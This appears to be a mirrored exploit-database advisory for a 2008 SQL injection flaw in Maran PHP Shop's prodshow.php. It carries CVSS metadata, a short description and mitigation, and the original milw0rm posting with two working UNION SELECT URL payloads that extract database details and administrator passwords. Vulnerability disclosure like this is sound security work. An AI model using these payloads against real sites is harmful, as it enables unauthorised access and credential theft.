Maran PHP Shop (prodshow.php) SQL Injection Vulnerability

vendor:

Maran PHP Shop

by:

d3v1l [Avram Marius]

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Maran PHP Shop

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

Maran PHP Shop (prodshow.php) SQL Injection Vulnerability

Maran PHP Shop is prone to an SQL injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. An attacker can exploit this issue to manipulate SQL queries in the back-end database, allowing the attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to construct SQL queries in an unsafe manner.

Source

Exploit-DB raw data:

[~]-------------------------------------------------------------------------------------------------------------

[~] Maran PHP Shop (prodshow.php) SQL Injection Vulnerability
[~]
[~] http://www.maran.pamil-visions.com/maranshop.php
[~]  
[~] 
[~] ------------------------------------------------------------------------------------------------------------
[~] Bug founded by d3v1l [Avram Marius]
[~]
[~] Date: 12.10.2008
[~]
[~]
[~] d3v1l@spoofer.com http://security-sh3ll.com
[~]
[~] ------------------------------------------------------------------------------------------------------------
[~] Greetz tO ALL:-
[~]
[~] Security-Shell Members ( http://security-sh3ll.com/forum.php )
[~]
[~] milw0rm staff
[~]-------------------------------------------------------------------------------------------------------------
[~] Exploit :-
[~]
[~] http://site.com/prodshow.php?id=1 UNION SELECT 1,concat_ws(0x3a,version(),database(),user()),3,4,5,6,7
[~] 
[~] http://site.com/prodshow.php?id=1 UNION SELECT 1,concat(user_password,char(58),user_name),3,4,5,6,7 FROM administrators
[~]----------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2008-11-02]